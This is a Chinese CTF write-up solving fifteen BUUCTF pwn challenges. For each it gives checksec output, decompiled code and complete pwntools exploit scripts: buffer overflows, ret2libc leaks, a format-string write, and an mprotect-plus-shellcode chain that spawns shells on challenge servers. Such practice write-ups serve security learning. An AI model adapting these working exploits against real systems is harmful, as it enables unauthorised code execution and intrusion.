BUU_PWN刷题_0x01-0x0F

0x1.test_your_nc

nc一下就完事。

0x2.rip

checksec:

yutao@pwnbaby:~/Desktop$ checksec pwn1
[*] '/home/yutao/Desktop/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

ida打开,有个后门函数:fun()

双击s到stack of main,15字节,exp:

from pwn import *
io = process("./pwn1")
payload = 'a'*(0xf + 8) + p64(0x40118a)
##具体86还是87/8a要看linux版本,太新的话写86会导致crash,所以题目写了是Ubuntu18
io.sendline(payload)
io.recv()
io.interactive()

0x3.warmup_csaw_2016

yutao@pwnbaby:~/Desktop$ file warmup_csaw_2016 
warmup_csaw_2016: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped

yutao@pwnbaby:~/Desktop$ checksec warmup_csaw_2016
[*] '/home/yutao/Desktop/warmup_csaw_2016'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

程序首先将后门函数sub_40060D的地址给了出来,之后输入v5,0x40+8.

exp:

from pwn import *
##context.log_level = 'debug'
##p = process("./warmup_csaw_2016")
p = remote("node3.buuoj.cn",28063)
payload = "a"*72 + p64(0x40060D)
p.sendline(payload)
p.recvline()
p.interactive()

0x4.pwn1_sctf_2016

yutao@pwnbaby:~/Desktop$ file pwn1_sctf_2016 
pwn1_sctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4b1df4d30f1d6b75666c64bed078473a4ad8e799, not stripped
yutao@pwnbaby:~/Desktop$ checksec pwn1_sctf_2016
[*] '/home/yutao/Desktop/pwn1_sctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida打开看了下,有个vuln()函数,还有个get_flag()函数。

vuln函数中,将I转为you,输入的s有长度限制(32),所以转换之后最长可以有32*3的长度,大于3C==60.

所以我们输入20个I,在写入4个垃圾数据,最后覆盖地址。

exp:

from pwn import *
##io = process("./level0")
io = remote("node3.buuoj.cn", 25512)
payload = b'I'*20 + b'a'*4 + p64(0x8048F0D)
io.send(payload)
io.interactive()

0x5.ciscn_2019_n_1

yutao@pwnbaby:~/Desktop$ file ciscn_2019_n_1 
ciscn_2019_n_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8a733f5404b1e2c65e1758c7d92821eb8490f7c5, not stripped
yutao@pwnbaby:~/Desktop$ checksec ciscn_2019_n_1
[*] '/home/yutao/Desktop/ciscn_2019_n_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

有个func()函数,输入的是v1,但是比较的是v2,将v2改为11.28125就OK

浮点数改为十六进制的话有脚本可以跑,下面说一下具体是怎么实现的。

首先11.28125转二进制的话是1011.01001。单精度浮点数是4个字节,也就是32位。

其中最高位是符号位,0为正,1为负。

接下来的8位是指数位。剩下的23位是尾数部分。

1011.01001 == 1011.01001*2^0 == 1.01101001*2^3

所以指数位就是(127+指数(3) )的二进制表示,也就是1000 0010,至于为什么是127,规定。。

连起来就是01000001001101001000000000000000,十六进制表示就是0x4134800。

所以将v2覆盖为上面的值就OK。

exp:

from pwn import *
##io = process("./ciscn_2019_n_1")
io = remote("node3.buuoj.cn", 26204)
payload = b'a'*(0x30-4) + p64(0x41348000)
io.send(payload)
io.interactive()

0x6.jarvisoj_level0

yutao@pwnbaby:~/Desktop$ file level0 
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
yutao@pwnbaby:~/Desktop$ checksec level0
[*] '/home/yutao/Desktop/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida打开,有个后门函数,也有个vulnerable_function()函数

exp:

from pwn import *
##io = process("./level0")
io = remote("node3.buuoj.cn", 28745)
payload = b'a'*(0x88) + p64(0x40059A)
io.send(payload)
io.interactive()

0x7.ciscn_2019_c_1

yutao@pwnbaby:~/Desktop$ file ciscn_2019_c_1 
ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06ddf49af2b8c7ed708d3cfd8aec8757bca82544, not stripped
yutao@pwnbaby:~/Desktop$ checksec ciscn_2019_c_1
[*] '/home/yutao/Desktop/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序的漏洞在encrypt()函数里面,可以发现在gets时,存在栈溢出的漏洞,这题并没有后门函数,但有puts函数,可以用来泄露libc版本并构造ROP链。

在__libc_csu_init()函数的最后有个pop rdi,ret,可以用来构造ROP。

如果输入的字符串太少是不会进行加密的,

程序刚运行:

pwndbg> x/gx 0x6020ac
0x6020ac <x>:	0x0000000000000000

进行一次加密后:

pwndbg> x/gx 0x6020ac
0x6020ac <x>:	0x000000000000005b

我们构造的payload是120,满足需要加密的条件。

exp1:

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
## io = process('./ciscn_2019_c_1')
io = remote('node3.buuoj.cn','29497')
e = ELF('./ciscn_2019_c_1')

pop_rdi = 0x400c83
ret_addr = 0x4006b9#这里是用来平等栈的,因为题目环境是Ubuntu18
##Ubuntu18调用system时要对齐栈,需要加一个ret来平衡,否则会crash。
puts_plt = e.plt['puts']
puts_got = e.got['puts']


payload = 0x58*'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(e.symbols['main'])
io.sendlineafter("your choice!\n","1")
io.sendlineafter("to be encrypted\n",payload)

io.recvuntil("Ciphertext\n")
io.recvline()

puts_addr = u64(io.recv(6).ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
io.sendlineafter("your choice!\n","1")
## gdb.attach(io)
payload = 0x58 * 'a' + p64(ret_addr) +p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
## 也可以多加几个ret,看出栈对齐的字节数。
io.sendlineafter("to be encrypted\n",payload)
io.recvuntil("Ciphertext\n")
io.recvline()
io.sendline('/bin/sh')
io.sendline(payload)
io.interactive()

也有另一种绕过加密的方法,就是让v0>=strlen(s),我们可以让strlen(s)的长度为0,也就是让字符串的第一个字符为“\x00”,那样strlen函数读取到第一个字符串就会终止,就可以绕过加密。

exp2:

from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
##io = remote("node3.buuoj.cn" , 27728)
elf = ELF("./ciscn_2019_c_1")
io = process("./ciscn_2019_c_1")

puts_plt =elf.plt["puts"]
puts_got= elf.got["puts"]
pop_rid_ret = 0x400c83
main_addr = 0x400b28

io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')

payload1 = b"\x00" + b"A"*(80 - 1 + 8) + p64(pop_rid_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.recvuntil("Input your Plaintext to be encrypted")
io.sendline(payload1)

io.recv()
io.recvuntil('\n\n')
puts_addr = io.recvuntil('\n',True)
puts_addr = u64(puts_addr.ljust(8,b'\x00'))
##puts_addr = puts_addr.ljust(8,b'\x00')
print("------------------->",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
sys_libc = libc.dump('system')
bin_sh_libc = libc.dump('str_bin_sh')
puts_libc = libc.dump('puts')
retn = 0x4006B9

sys_addr = puts_addr + (sys_libc - puts_libc)
bin_addr = puts_addr + (bin_sh_libc - puts_libc)

io.recvuntil("Welcome to this Encryption machine\n")
io.sendline('1')

io.recvuntil("Input your Plaintext to be encrypted")
payload2 = b"\x00" + b"A"*(80 - 1 + 8) + p64(retn) + p64(pop_rid_ret) + p64(bin_addr) + p64(sys_addr) + b'A'*8
io.sendline(payload2)

io.interactive()

还有一种,就是老老实实的按照加密的思路写payload。

exp3:

from pwn import *
from LibcSearcher import *


def encrypt(s):
    newstr = list(s)
    for i in range(len(newstr)):
        c = ord(s[i])
        if c <= 96 or c > 122:
            if c <= 64 or c > 90:
                if c > 47 and c <= 57:
                    c ^= 0xF
            else:
               c ^= 0xE
        else:
            c ^= 0xD
        newstr[i] = chr(c)
    return ''.join(newstr)

elf = ELF('./ciscn_2019_c_1')
##p = process('./ciscn_2019_c_1')
p = remote('node3.buuoj.cn',29497)

start = 0x400B28
rdi_addr = 0x400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
p.sendlineafter("choice!",'1')

payload="a"*0x58
payload+=p64(rdi_addr)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(start)
p.sendlineafter("encrypted",encrypt(payload))
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_leak = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_leak))
libc = LibcSearcher('puts', puts_leak)
libc_base = puts_leak - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload1="a"*0x58
ret = 0x4006b9
payload1+=p64(ret)
payload1+=p64(rdi_addr)
payload1+=p64(bin_sh_addr)
payload1+=p64(sys_addr)
p.sendlineafter("choice!",'1')
p.sendlineafter("encrypted",payload1)
p.interactive()

还有一种写法,ret2csu也可。

0x8.[OGeek2019]babyrop

yutao@pwnbaby:~/Desktop$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped
yutao@pwnbaby:~/Desktop$ checksec pwn
[*] '/home/yutao/Desktop/pwn'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

首先要绕过验证:

fd = open("/dev/urandom", 0);
if ( fd > 0 )
  read(fd, &buf, 4u);
v2 = sub_804871F(buf);

和上道题一样,可以用\x00来绕过。并且return的v5在buf数组后面,可以写

再之后就是:

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);

这里的a1就是之前返回的v5(我们在buf后面复写的值),当然是越大越好,所以就0xff * 7

即:\x00 + 0xff * 7

exp1:leak read

## -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',28548)
##r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

payload1='\x00'+'\xff'*0x7
r.sendline(payload1)
r.recvuntil('Correct\n')

##泄露read的got地址
payload='a'*0xe7+'b'*0x4

payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)
r.sendline(payload)

read_addr=u32(r.recv(4))
print(hex(read_addr)

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)+ p32(0xdeadbeef)+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

exp2:leak write

##!/usr/bin/env python
##-*-coding=UTF-8-*-

from pwn import *

sh = remote('node3.buuoj.cn',28548)

elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x08048825

libc = ELF('./libc-2.23.so')
libc_system_addr = libc.symbols['system']
libc_binsh_addr = next(libc.search('/bin/sh'))
libc_write_addr = libc.symbols['write']

bypass_payload = '\x00' #bypass strncmp() 
bypass_payload += '\xff'*7 
sh.sendline(bypass_payload)

offset2ebp = 0xe7
leak_payload = 'a'*offset2ebp + 'aaaa'
leak_payload += p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got)

sh.sendlineafter('Correct\n',leak_payload)

leak_write_addr = u32(sh.recv()[0:4])

libc_baseaddr = leak_write_addr - libc_write_addr
system_addr = libc_system_addr + libc_baseaddr
binsh_addr = libc_binsh_addr + libc_baseaddr

sh.sendline(bypass_payload)
payload = 'a'*offset2ebp + 'bbbb'
payload += p32(system_addr) + 'retn' + p32(binsh_addr)
sh.sendlineafter('Correct\n',payload)
sh.interactive()

0x9.[第五空间2019 决赛]PWN5

格式化字符串漏洞

from pwn import *
context(log_level='debug')
##io = process("./pwn")
io = remote('node3.buuoj.cn',25276)
dword_804C044 = 0x804C044
io.recvuntil("name:")
payload = fmtstr_payload(10,{dword_804C044:0x1111})
io.sendline(payload)
io.recvuntil(":")
io.sendline(str(0x1111))
io.interactive()
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2b bytes:
    'flag{18b6ca26-1d7d-407b-8b08-63dd66d4e775}\n'
flag{18b6ca26-1d7d-407b-8b08-63dd66d4e775}

0xA.get_started_3dsctf_2016

gwt@ubuntu:~/Desktop$ checksec  get_started_3dsctf_2016 
[*] '/home/gwt/Desktop/get_started_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
gwt@ubuntu:~/Desktop$ file get_started_3dsctf_2016 
get_started_3dsctf_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped

两个有用的函数:

main中:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}

还有个get_flag:

void __cdecl get_flag(int a1, int a2)
{
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 255 )
    {
      v4 = v3;
      do
      {
        putchar(v4);
        v5 = getc(v2);
        v4 = v5;
      }
      while ( v5 != 255 );
    }
    fclose(v2);
  }
}

方法一:

本地不能通,看了国外的wp,应该是buu的问题

绕过if判断,直接到flag

from pwn import*

p=process('./get_started_3dsctf_2016')
payload='a'*0x38+p32(0x80489bb)
p.sendline(payload)
p.interactive()

或者

from pwn import *
q = remote('node3.buuoj.cn',29154)
##q = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
##sleep(0.1)
get_addr = 0x080489A0
exit_addr = 0x0804E6A0
a1 = 814536271
a2 = 425138641
payload = 'a'*(56)
payload += p32(get_addr) + p32(exit_addr)
payload += p32(a1) + p32(a2)
q.sendline(payload)
sleep(0.1)
q.recv()

方法二:修改内存段的权限

mprotect函数,可以修改内存段的权限

int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x80ea000 r-xp    a2000 0      /home/gwt/Desktop/get_started_3dsctf_2016
 0x80ea000  0x80ec000 rw-p     2000 a1000  /home/gwt/Desktop/get_started_3dsctf_2016
 0x80ec000  0x80ed000 rw-p     1000 0      
 0x844a000  0x846c000 rw-p    22000 0      [heap]
0xf7ff6000 0xf7ff9000 r--p     3000 0      [vvar]
0xf7ff9000 0xf7ffb000 r-xp     2000 0      [vdso]
0xff9ba000 0xff9db000 rw-p    21000 0      [stack]

思路:

栈溢出到mprotect函数(call==push+jmp)
所以ret后要留一个返回地址,因为ret就相当于jmp到mprotect。
payload大致为:
payload = 'a'*0x38+p32(mprotect_add)+p32(ret_add)
payload+=p32(argu1) + p32(argu2) +p32 (argu3)
第一个参数是被修改内存的地址:0x80ea000
第二个参数是被修改内存的大小:必须是页的整数倍,0x1000
第三参数值权限:0x7
然后找个pop来平衡堆栈:
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret'
因为是3个参数,就找3个pop
现在payload:
payload = 'a' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(ret_addr2)

ret_addr2是read函数的地址,将shellcode写入内存。
read函数原型:
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容
buf 设为我们想要执行的内存地址    
size 适当大小,足够写入shellcode就OK

​ 完整exp:

from pwn import *
elf = ELF('./get_started_3dsctf_2016')
r = process('./get_started_3dsctf_2016')
pop3_ret = 0x804951D
mem_addr = 0x80ec000 
mem_size = 0x1000    
mem_proc = 0x7       

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']


payload  = 'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret) 
payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   
payload += p32(read_addr)
payload += p32(pop3_ret)  
payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x1000) 
payload += p32(mem_addr) 

r.sendline(payload)
payload = asm(shellcraft.sh()) 
r.sendline(payload)
r.interactive()

0xB.ciscn_2019_en_2

和ciscn_2019_c_1是一模一样的…

ret2libc.

from pwn import *
from LibcSearcher import *
context(log_level='DEBUG')
##io = process("./ciscn_2019_en_2")
io = remote('node3.buuoj.cn',29045)
elf = ELF("./ciscn_2019_en_2")
ret = 0x04006b9
pop_rdi_ret = 0x0400c83
main = 0x400B28

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = 0x58 * 'a'+ p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+ p64(main)

io.recvuntil("choice!")
io.sendline("1")
io.recvuntil("encrypted")
io.sendline(payload)
io.recvuntil("Ciphertext")
io.recvline()
io.recvline()
puts_addr =u64(io.recvuntil("\n")[:-1].ljust(8,'\0'))

libc = LibcSearcher("puts",puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump("system")
bin_sh = base + libc.dump('str_bin_sh')

payload = 0x58*'a'+p64(ret)+p64(pop_rdi_ret) +p64(bin_sh)+ p64(system_addr)
##Ubuntu18调用system时要ret,不然会crash
##栈对齐
io.sendline('1')
io.recvuntil("encrypted")
io.sendline(payload)
io.interactive()

##gdb.attach(io)

0xC.jarvisoj_level2

gwt@ubuntu:~/Desktop$ file level2 
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped

gwt@ubuntu:~/Desktop$  checksec level2 
[*] '/home/gwt/Desktop/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没后门函数,重要的部分:

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF
  system("echo Input:");
  return read(0, buf, 0x100u);
}

有/bin/sh字符串。而且没开PIE,字符串的地址不会变

from pwn import *
context(log_level='DEBUG')
elf = ELF("./level2")
##io = process("./level2")
##node3.buuoj.cn:28929
io = remote('node3.buuoj.cn',28929)
sys_plt = elf.plt['system']
##bin_sh = 0x0804A024
bin_sh = next(elf.search('/bin/sh'))
payload = 'a'*140 +p32(sys_plt)+p32(0xdeadbeef)+p32(bin_sh)
io.recv()
io.sendline(payload)
io.interactive()

0xD.ciscn_2019_n_8

yutao@pwnbaby:~/Desktop$ checksec ciscn_2019_n_8
[*] '/home/yutao/Desktop/ciscn_2019_n_8'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *&var[13] )
  {
    if ( *&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

所以payload:

from pwn import *
context(log_level='DEBUG')
##io = process("./ciscn_2019_n_8")
io = remote('node3.buuoj.cn',29560 )
io.recv() 
payload = p32(17) * 14
io.sendline(payload)
io.interactive()

0xE.not_the_same_3dsctf_2016

就两个有用的函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(v4);
  return 0;
}
int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

和get_started_3dsctf_2016一样,用mprotect修改内存的权限。

from pwn import *
elf = ELF('./not_the_same_3dsctf_2016')
##r = process('./not_the_same_3dsctf_2016')
io=remote('node3.buuoj.cn',29052)
pop_ret = 0x08050b45
##pop ebx ; pop esi ; pop edi ; ret
mem_addr = 0x80ec000 
mem_size = 0x1000    
mem_proc = 0x7       
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload  = 'A' * 0x2d
payload += p32(mprotect_addr)
payload += p32(pop_ret) 
payload += p32(mem_addr) 
payload += p32(mem_size)  
payload += p32(mem_proc)   
payload += p32(read_addr)
payload += p32(pop_ret)  
payload += p32(0)     
payload += p32(mem_addr)   
payload += p32(0x100) 
payload += p32(mem_addr)   
io.sendline(payload)
payload = asm(shellcraft.sh()) 
io.sendline(payload)
io.interactive()

0xF.bjdctf_2020_babystack

有个后门函数。主程序:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}
-0000000000000010 buf             db 12 dup(?)
-0000000000000004 nbytes          dq ?
+0000000000000004                 db ? ; undefined
+0000000000000005                 db ? ; undefined
+0000000000000006                 db ? ; undefined
+0000000000000007                 db ? ; undefined
+0000000000000008  r              db 8 dup(?)

这个题,两个思路吧(其实是一样的),一个就是将输入的nbytes开大一点,直接可以覆盖到返回地址。

或者就是整数溢出,根据size_t与unsigned int的不同来做(其实也是将nbytes(buf)开的很大,覆盖返回地址)。

from pwn import *
##io = process("./bjdctf_2020_babystack")
io = remote('node3.buuoj.cn',26217)
context(log_level='DEBUG')
io.recv()
back_door = 0x004006E6 
io.sendline("100")#或者这里改为-1
io.recv()
payload = 'a'*0x18+p64(back_door)+p64(0xdeadbeef)
io.sendline(payload)
io.interactive()
0%